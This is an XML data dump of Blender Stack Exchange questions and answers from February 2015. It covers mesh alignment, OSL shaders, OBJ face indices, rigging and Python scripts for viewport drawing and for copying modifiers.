  <row Id="24862" PostTypeId="2" ParentId="24860" CreationDate="2015-02-16T13:55:15.503" Score="6" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Close the shape with ngon:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qwq4L.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add &lt;em&gt;Empty&lt;/em&gt; to the scene, enable snapping, set to face, enable align orientation and snap the empty to the ngon:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/N6qcX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Parent the mesh to the empty: Select mesh, select empty, &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Reset the rotation of empty with &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Clear parent (&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt;) and Keep the transform. Now your mesh is aligned with world coords.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Delete Empty, delete ngon, rotate mesh to the axis you want.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-02-16T13:55:15.503" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24863" PostTypeId="2" ParentId="24848" CreationDate="2015-02-16T14:42:46.400" Score="1" Body="&lt;p&gt;for transforming the position you should use point type because according to the OSL Language Specs :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Depending on the type of the passed point p, different transformation&#xA;  semantics will be used. A point will transform as a position, a vector&#xA;  as a direction without regard to positioning&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;just change the type of the Position variable to point or use the P variable that holds the current position then use the transform function as you did ; even after that the whole objects will be bright white, so i have tried to normalize the Z coordinate  using two variables which act as near and far planes that limits the depth range :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;shader depth_shader(&#xA;    float minZ = 0,&#xA;    float maxZ = 1,&#xA;    output closure color Color = emission())&#xA;{&#xA;    point lP = transform(&quot;camera&quot;, P);&#xA;    float Z = lP[2];&#xA;    if( (Z&amp;gt;minZ) &amp;amp;&amp;amp; (Z&amp;lt;maxZ))&#xA;        Z = (Z-minZ)/(maxZ-minZ);&#xA;    else &#xA;        Z = 0;&#xA;    Color= color(Z, Z, Z) * emission();    &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-02-16T14:42:46.400" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24864" PostTypeId="2" ParentId="15925" CreationDate="2015-02-16T15:28:03.073" Score="5" Body="&lt;p&gt;The way I solved this was to give the particle object (not the emitter) a blend texture, mapped to the coordinates of an empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way, the colour of the particle depends on the distance to the empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example here: &lt;a href=&quot;https://www.dropbox.com/s/il0aiq8a7gteelw/chimney.blend?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dropbox.com/s/il0aiq8a7gteelw/chimney.blend?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0ybYt.png&quot; alt=&quot;particle colour&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11637" LastEditorUserId="11637" LastEditDate="2015-02-17T19:46:10.860" LastActivityDate="2015-02-17T19:46:10.860" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24865" PostTypeId="2" ParentId="24836" CreationDate="2015-02-16T15:39:12.770" Score="8" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I copied and pasted an object from a different Blend. Maybe that's why it was locked. But why is that?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you link an object from another file, it can only be edited in that file, not the one you have added it to. What Blender is doing is making an exact copy of a portion of another .blend file, and reverse connections are not currently supported (being able to update the linked .blend). You will need to &lt;em&gt;Import&lt;/em&gt; the mesh in order to edit it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changes to the source .blend file will not be automatically visible in the linked mesh, you will need to re-link or update the mesh.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-02-16T15:39:12.770" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24866" PostTypeId="1" CreationDate="2015-02-16T15:40:29.833" Score="1" ViewCount="137" Body="&lt;p&gt;I am trying to skin the creature for a student who is having trouble. Every time I try, nothing happens. I am not sure if it is parented correctly or not and if that is the reason why it isn't work. I have been trying to get it to work for days and am stuck.  I copied the steps it says to do as well as the students work. Any help would be appreciated on how to fix it and get the student to the next step. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/34459&quot; rel=&quot;nofollow&quot;&gt;http://www.pasteall.org/blend/34459&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Skin the Left Thigh&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second part of skinning is to assign the bone to the part of the body. Complete the following steps to assign the left thigh bone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right-click the character to select it and deselect the bones.&#xA;Switch to Edit mode.&#xA;Left-click the Vertex Select mode button.&#xA;In the Object Data mini-window, in the Vertex Groups menu, left-click UpperLeg.L.&#xA;Under Vertex Groups, left-click Select.&#xA;You’ll see an orange outline on parts of the left side. Press the B key and use Box Select mode. Hold down the B key and drag over all of the orange vertices using the left button on your mouse. Then press the Remove button. Then press the A key in the 3D View window to deselect everything. Press the B key and use Box Select mode. Hold down the B key and drag over the UpperLeg.L bone. &#xA;TIP: You may need to repeat this step to get all the vertices selected.&#xA;Under Vertex Groups, left-click Assign.&#xA;Press the A key to deselect everything.&lt;/p&gt;&#xA;" OwnerUserId="11597" LastActivityDate="2020-10-27T03:35:35.260" Title="skinning a creature" Tags="&lt;rigging&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24867" PostTypeId="1" AcceptedAnswerId="24870" CreationDate="2015-02-16T15:46:40.920" Score="2" ViewCount="1278" Body="&lt;p&gt;For reasons of collision detection, I am attempting to iterate through all the triangles in my model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, how can I get them with an OBJ file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OBJ files start each vertex position information with a &quot;V&quot;. I cannot see how to get a triangle of three vertices from that, since I can't know which vertices make up the triangle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't care what order the triangles are iterated through in, as long as I am able to get the triangle. How can I get it?&lt;/p&gt;&#xA;" OwnerUserId="7464" LastActivityDate="2015-02-16T16:13:30.897" Title="How can I get the triangles of a model?" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="6" FavoriteCount="0" ClosedDate="2015-02-16T16:50:18.847" ContentLicense="CC BY-SA 3.0" />
  <row Id="24868" PostTypeId="2" ParentId="24867" CreationDate="2015-02-16T16:04:03.023" Score="1" Body="&lt;p&gt;To answer my own question (reading through stuff - Also big thanks to @Jerryno), I can use the faces to get the position of the vertex in the array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, to get the first vertex in a triangle (triangle is the same as face), I would use vertex.get(face[0]). &lt;/p&gt;&#xA;" OwnerUserId="7464" LastActivityDate="2015-02-16T16:04:03.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24870" PostTypeId="2" ParentId="24867" CreationDate="2015-02-16T16:13:30.897" Score="2" Body="&lt;p&gt;Apart from a list of vertices OBJ files also contain a list indices that make up a face. Look for lines that start with an &quot;f&quot;. The vertices are enumerated by their occurrence in the file, starting with index 1.&#xA;Be aware that faces can consist of more than three vertices. You will have to split quads and n-gons if you want tris.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;f 1 2 3         # a triangle that consists of the first, second and third vertex&#xA;f 2 3 4 5       # a quad consisting of the vertices 2 to 5&#xA;f 1 2 5 6 10 11 # an n-gon with six vertices&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;OBJ also supports relative indices. These indices are negative. For example an index of &lt;code&gt;-1&lt;/code&gt; would address the last vertex at the position of the face.&#xA;The following file would contain three triangles, consisting of the first three, the second three and the first, third and last vertex:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;v  1.0 -1.0 -1.0&#xA;v  1.0 -1.0  1.0&#xA;v -1.0 -1.0  1.0&#xA;f -3 -2 -1&#xA;v -1.0 -1.0 -1.0&#xA;v  1.0  1.0 -1.0&#xA;v  1.0  1.0  1.0&#xA;f -3 -2 -1&#xA;f -6 -4 -1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3089" LastActivityDate="2015-02-16T16:13:30.897" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24871" PostTypeId="1" AcceptedAnswerId="24882" CreationDate="2015-02-16T16:26:00.250" Score="5" ViewCount="349" Body="&lt;p&gt;I have a scene in which I want to render some of the same objects in two separate &lt;em&gt;Render Layers&lt;/em&gt;, with different modifiers in each &lt;em&gt;Render Layer&lt;/em&gt;. I know how to link modifiers using &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;L&lt;/kbd&gt; &lt;em&gt;&gt; Modifiers&lt;/em&gt;, all I want to know if there is a feature, add-on, or the possibility of adding a feature, like the change all &lt;em&gt;Materials&lt;/em&gt; option, just for modifiers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In very simple terms, how can you animate the linking of Modifiers? (change the link parent)&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-02-17T14:50:57.117" Title="Is it possible to link a modifier for only one Render Layer?" Tags="&lt;modifiers&gt;&lt;render-layers&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24873" PostTypeId="1" CreationDate="2015-02-16T16:37:37.980" Score="4" ViewCount="2780" Body="&lt;p&gt;I am used to the control setup in Unity (moving around the world/scene) and I would like to use the same controls in Blender. How can I import these settings without changing them all manually. I tried, but failed and had to reset the controls.&lt;/p&gt;&#xA;" OwnerUserId="11638" LastEditorUserId="2217" LastEditDate="2015-02-16T17:49:10.660" LastActivityDate="2020-11-24T14:34:01.280" Title="Unity3D controls in Blender" Tags="&lt;3d-view&gt;&lt;customization&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24874" PostTypeId="2" ParentId="24873" CreationDate="2015-02-16T16:52:25.770" Score="2" Body="&lt;p&gt;You can go to User preferences &gt; Input and set Presets(drop down menu to the top left and another one to right) to Maya.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SmaNN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's been a long time since I've used Unity, but I think Unity and Maya are very similar in this aspect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If Maya is not similar, try the 3DsMax preset.&lt;/p&gt;&#xA;" OwnerUserId="3247" LastActivityDate="2015-02-16T16:52:25.770" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24875" PostTypeId="2" ParentId="7452" CreationDate="2015-02-16T17:09:18.350" Score="3" Body="&lt;p&gt;Finally a solution to this has been found. Mike Pan's solution was great, but another method is here. I found this on Blender Nation:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blendernation.com/2015/02/12/lego-fluid-effect/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.blendernation.com/2015/02/12/lego-fluid-effect/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;More details:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The process is to do a standard fluid sim, add a remesh modifier set to 'blocks' and then turn on dupliverts for the fluid object (and parenting a 'brick' object to the fluid). That's basically it! Dupliverts gives great performance and remesh allows lower or higher resolution fluid depending on it's resolution. The material is just a gradient mapped on the 'brick' which changes colour depending on height.&lt;/p&gt;&#xA;&lt;p&gt;The actual building effect at the beginning is a particle system and an 'Explode' modifier on a different object. An animated object defines the 'time' of when particles emit and the explode modifier makes sure the particles are invisible until emission (by unchecking 'Unborn' and checking 'Alive' and 'Dead' on the modifier). The reverse happens on the pile of bricks to the side so they disappear as the other ones appear.&lt;/p&gt;&#xA;&lt;p&gt;If all that sounds confusing, a full tutorial will be up in a few weeks hopefully.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=_SU8ISvRn5E&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=_SU8ISvRn5E&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1828" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-02-16T17:09:18.350" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24876" PostTypeId="1" CreationDate="2015-02-16T19:07:12.517" Score="1" ViewCount="372" Body="&lt;p&gt;Recently, a few of my objects have disappeared completely, and one of them appears completely black in 'texture' view, even though in the render view it appears normal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The missing objects don't appear in render, but if I export to collada, they are present.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are lamps that are missing, but they also appear to export in collada.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to delete these objects, I would just like to fix them.  Is there a way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They appear in layers, I can sort of select them, but even with &lt;kbd&gt;w&lt;/kbd&gt; &gt; &lt;em&gt;clear all restricted&lt;/em&gt; and viewing everything, they are missing.&lt;/p&gt;&#xA;" OwnerUserId="11639" LastEditorUserId="2217" LastEditDate="2015-02-16T19:14:15.693" LastActivityDate="2015-02-16T19:14:15.693" Title="objects missing in the 3D view (can be seen in collada export)" Tags="&lt;objects&gt;&lt;3d-view&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2015-02-17T17:32:06.557" ContentLicense="CC BY-SA 3.0" />
  <row Id="24877" PostTypeId="1" CreationDate="2015-02-16T19:12:24.317" Score="1" ViewCount="1735" Body="&lt;p&gt;What is the simplest way to apply an image texture to a plane using python (in 2.73)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried the script give here, where I replaced the cube with a plane:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.5/Py/Scripts/Cookbook/Code_snippets/Materials_and_textures#Textures&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Dev:2.5/Py/Scripts/Cookbook/Code_snippets/Materials_and_textures#Textures&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, it didn't work. Perhaps there's a different method for 2.73?&lt;/p&gt;&#xA;" OwnerUserId="8438" LastActivityDate="2015-03-19T08:09:45.047" Title="Apply texture to plane via script" Tags="&lt;python&gt;&lt;scripting&gt;&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24878" PostTypeId="2" ParentId="7452" CreationDate="2015-02-16T19:34:49.620" Score="6" Body="&lt;p&gt;You can approach it like this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Make simple fluid sim, low resolution will be enough:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/H865L.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a plane and subdivide to get your blocks &quot;resolution&quot;, position it very high above the water. Add Shrinkwrap modifier to project it onto the simulation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8Gpwm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Parent a little cube under the plane and set dupli verts:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AEXdL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Render it with plane transparent:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lRLsK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add an ground plane and make column of little cubes from just 1 little cube (to fill holes in water):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MCkSG.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;As this is based on a voxel simulation you don't get data how the cubes move inside the volume (or on the surface), they are just stationary. To do that you would have to base it from particles. Thats for another approach, this is super fast to setup and simulate.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-02-16T19:34:49.620" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24879" PostTypeId="1" CreationDate="2015-02-16T19:39:44.513" Score="2" ViewCount="803" Body="&lt;p&gt;I'm trying to make a crystal-like material but i cannot find out how...i added a Glass BSDF with Transparency, plus some transparent background made with the Holdout option in Nodes...but still, it just looks like Plastic, but not a crystal...&#xA;Does anyone know a good solution for this? Maybe add more transparency via Mix Shader? i'm sure there are other better options..&#xA;&lt;img src=&quot;https://i.stack.imgur.com/4MqgN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reference&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YjorR.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="9718" LastEditDate="2015-02-16T21:02:50.747" LastActivityDate="2015-02-16T21:02:50.747" Title="How can i make my material look like more like a crystal glass?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;materials&gt;&lt;nodes&gt;" AnswerCount="0" CommentCount="8" ClosedDate="2015-02-17T04:37:10.410" ContentLicense="CC BY-SA 3.0" />
  <row Id="24880" PostTypeId="1" CreationDate="2015-02-16T21:41:23.347" Score="1" ViewCount="388" Body="&lt;p&gt;The bgl module allows us to obtain various information displayed in 3D Blender view.&#xA;For example, I made a script that gets the 3D coordinate where the mouse cursor hits a object:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bgl&#xA;&#xA;&quot;&quot;&quot;Functions for the mouse_coords_to_3D_view&quot;&quot;&quot;&#xA;def get_viewport():&#xA;    view = bgl.Buffer(bgl.GL_INT, 4)&#xA;    bgl.glGetIntegerv(bgl.GL_VIEWPORT, view)&#xA;    return view&#xA;&#xA;&#xA;def get_modelview_matrix():&#xA;    model_matrix = bgl.Buffer(bgl.GL_DOUBLE, [4, 4])&#xA;    bgl.glGetDoublev(bgl.GL_MODELVIEW_MATRIX, model_matrix)&#xA;    return model_matrix&#xA;&#xA;&#xA;def get_projection_matrix():&#xA;    proj_matrix = bgl.Buffer(bgl.GL_DOUBLE, [4, 4])&#xA;    bgl.glGetDoublev(bgl.GL_PROJECTION_MATRIX, proj_matrix)&#xA;    return proj_matrix&#xA;&#xA;&#xA;&quot;&quot;&quot;Function mouse_coords_to_3D_view&quot;&quot;&quot;&#xA;def mouse_coords_to_3D_view(x, y):    &#xA;    depth = bgl.Buffer(bgl.GL_FLOAT, [0.0])&#xA;    bgl.glReadPixels(x, y, 1, 1, bgl.GL_DEPTH_COMPONENT, bgl.GL_FLOAT, depth)&#xA;    #if (depth[0] != 1.0):&#xA;    world_x = bgl.Buffer(bgl.GL_DOUBLE, 1, [0.0])&#xA;    world_y = bgl.Buffer(bgl.GL_DOUBLE, 1, [0.0])&#xA;    world_z = bgl.Buffer(bgl.GL_DOUBLE, 1, [0.0])&#xA;    view1 = get_viewport()&#xA;    model = get_modelview_matrix()&#xA;    proj = get_projection_matrix ()   &#xA;    bgl.gluUnProject(x, y, depth[0], &#xA;                     model, proj,&#xA;                     view1,&#xA;                     world_x, world_y, world_z)&#xA;    return world_x[0], world_y[0], world_z[0]&#xA;&#xA;&#xA;&quot;&quot;&quot;drawing point OpenGL in mouse_coords_to_3D_view&quot;&quot;&quot;&#xA;def draw_callback_px(self, context):&#xA;    # mouse coordinates relative to 3d view&#xA;    x, y = self.mouse_path&#xA;&#xA;    # mouse coordinates relative to Blender interface&#xA;    view = get_viewport()&#xA;    gmx = view[0] + x&#xA;    gmy = view[1] + y&#xA;&#xA;    # draw 3d mouse OpenGL point in the 3D View&#xA;    mouse3d = mouse_coords_to_3D_view(gmx, gmy)        &#xA;    bgl.glEnable(bgl.GL_BLEND)&#xA;    bgl.glColor4f(1.0, 0.8, 0.0, 1.0)&#xA;    bgl.glPointSize(30)    &#xA;    bgl.glBegin(bgl.GL_POINTS)&#xA;    bgl.glVertex3f(*(mouse3d))&#xA;    bgl.glEnd()&#xA;&#xA;    context.area.header_text_set(&quot;hit: %.2f %.2f %.2f&quot; % mouse3d)&#xA;&#xA;class ModalDrawOperator(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Draw a point with the mouse&quot;&quot;&quot;&#xA;    bl_idname = &quot;view3d.modal_operator&quot;&#xA;    bl_label = &quot;Simple Modal View3D Operator&quot;   &#xA;&#xA;    def modal(self, context, event):&#xA;        context.area.tag_redraw()&#xA;&#xA;&#xA;        if event.type == 'MOUSEMOVE':&#xA;            self.mouse_path = (event.mouse_region_x, event.mouse_region_y)            &#xA;&#xA;        elif event.type == 'LEFTMOUSE':&#xA;            bpy.types.SpaceView3D.draw_handler_remove(self._handle, 'WINDOW')&#xA;            context.area.header_text_set()&#xA;            return {'FINISHED'}&#xA;&#xA;&#xA;        elif event.type in {'RIGHTMOUSE', 'ESC'}:&#xA;            bpy.types.SpaceView3D.draw_handler_remove(self._handle, 'WINDOW')&#xA;            context.area.header_text_set()&#xA;            return {'CANCELLED'}&#xA;&#xA;&#xA;        return {'PASS_THROUGH'}&#xA;&#xA;&#xA;    def invoke(self, context, event):&#xA;        # the arguments we pass the the callback&#xA;        args = (self, context)&#xA;        # Add the region OpenGL drawing callback&#xA;        # draw in view space with 'POST_VIEW' and 'PRE_VIEW'&#xA;        self._handle = bpy.types.SpaceView3D.draw_handler_add(draw_callback_px, args, 'WINDOW', 'POST_VIEW')&#xA;        self.mouse_path = []&#xA;        #self.wx = bpy.context.window.width&#xA;        #self.wy = bpy.context.window.height&#xA;        context.window_manager.modal_handler_add(self)&#xA;        return {'RUNNING_MODAL'}&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(ModalDrawOperator)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(ModalDrawOperator)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But now I want to get a list with the 2D vertices in screen. How can I get it without having to convert 3D to 2D? If anyone knows, please tell me.&#xA;Can be the Vertices index too&lt;/p&gt;&#xA;" OwnerUserId="11288" LastEditorUserId="11288" LastEditDate="2015-02-16T23:06:42.570" LastActivityDate="2015-02-16T23:06:42.570" Title="How can I get a list with the 2D screen coordinates of visible Vertices in 3D view without having to convert 3D to 2D?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;vertices&gt;&lt;opengl&gt;" AnswerCount="0" CommentCount="5" FavoriteCount="1" ClosedDate="2015-02-16T22:24:44.230" ContentLicense="CC BY-SA 3.0" />
  <row Id="24881" PostTypeId="1" AcceptedAnswerId="25932" CreationDate="2015-02-16T22:50:11.797" Score="2" ViewCount="7434" Body="&lt;p&gt;I was working on a model, and I wanted to edit some texture nodes. So I went to the node editor and switched to the texture tab, but there was no way for me to select the the texture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/50K9m.png&quot; alt=&quot;Missing texture input&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I switched to world texture, I was able to select a texture again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QFokl.png&quot; alt=&quot;Texture input shown&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem wasn't solved after restarting blender. So I wanted to see what would happen if I loaded another file or created a new one. After doing this, I was able to edit object texture nodes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ioKMC.png&quot; alt=&quot;New blend file&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, only one blend file is being affected. Does anybody know what would be causing this or how it could be fixed?&lt;/p&gt;&#xA;" OwnerUserId="6453" LastEditorUserId="2217" LastEditDate="2015-02-17T00:02:56.750" LastActivityDate="2015-02-17T19:55:12.377" Title="Why can I not edit object texture nodes?" Tags="&lt;texturing&gt;&lt;interface&gt;&lt;nodes&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24882" PostTypeId="2" ParentId="24871" CreationDate="2015-02-16T23:05:15.553" Score="3" Body="&lt;p&gt;here is a code that keeps a specific group of objects related to another object modifiers this is how it works : &lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;add the selected objects to a group named 'linked objects'&lt;br/&gt;&lt;/li&gt;&#xA;&lt;li&gt;rename the active object  'source object'&lt;br/&gt;&lt;/li&gt;&#xA;&lt;li&gt;whenever the function is called it copies the modifiers parameters from the 'source object' to the rest objects in the group and if the modifier is not present it creates a new one &lt;br/&gt;&lt;/li&gt;&#xA;&lt;li&gt;the function is appended to the &lt;code&gt;scene_update_pre()&lt;/code&gt; handler to be called automatically&lt;br/&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note :&lt;/strong&gt;&#xA; - before you run the script make sure to select your objects and the active object is going to be the source object thus it will be renamed ( you can make a dummy object as the source to keep the names) &#xA; - you can add/remove other objects later to/from the group because the update is related to the group not specific objects&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;bpy.context.active_object.name = 'source_object'&#xA;linked_objects = bpy.data.groups.new('Linked_objects')&#xA;selected_objects = [obj for obj in bpy.context.selected_objects &#xA;                            if obj.type == bpy.context.active_object.type]&#xA;for obj in selected_objects:        &#xA;      linked_objects.objects.link(obj)&#xA;&#xA;&#xA;def link_modifiers(context):&#xA;&#xA;    linked_objects = bpy.data.groups['Linked_objects'].objects&#xA;    source_object = bpy.context.scene.objects['source_object']&#xA;&#xA;    for obj in linked_objects:&#xA;        for mSrc in source_object.modifiers:&#xA;            mDst = obj.modifiers.get(mSrc.name, None)&#xA;            if not mDst:&#xA;                mDst = obj.modifiers.new(mSrc.name, mSrc.type)&#xA;&#xA;            # collect names of writeable properties&#xA;            properties = [p.identifier for p in mSrc.bl_rna.properties&#xA;                          if not p.is_readonly]&#xA;&#xA;            # copy those properties&#xA;            for prop in properties:&#xA;                setattr(mDst, prop, getattr(mSrc, prop))&#xA;&#xA;bpy.app.handlers.scene_update_pre.append(link_modifiers)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the code for copying the modifiers is from &lt;a href=&quot;https://blender.stackexchange.com/a/4883/5113&quot;&gt;this answer&lt;/a&gt; by &lt;a href=&quot;https://blender.stackexchange.com/users/185/adhi&quot;&gt;Adhi&lt;/a&gt; so thanks Adhi&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the code needs more tweaking especially the handler choice I'm new to this so any advice would be appreciated&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Animation Render test&lt;/strong&gt; with two modifiers with drivers applied only to the source object &quot;the orange cube&quot;:&#xA;&lt;a href=&quot;http://www.pasteall.org/pic/84069&quot; rel=&quot;nofollow noreferrer&quot;&gt;render result&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2015-02-17T14:50:57.117" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
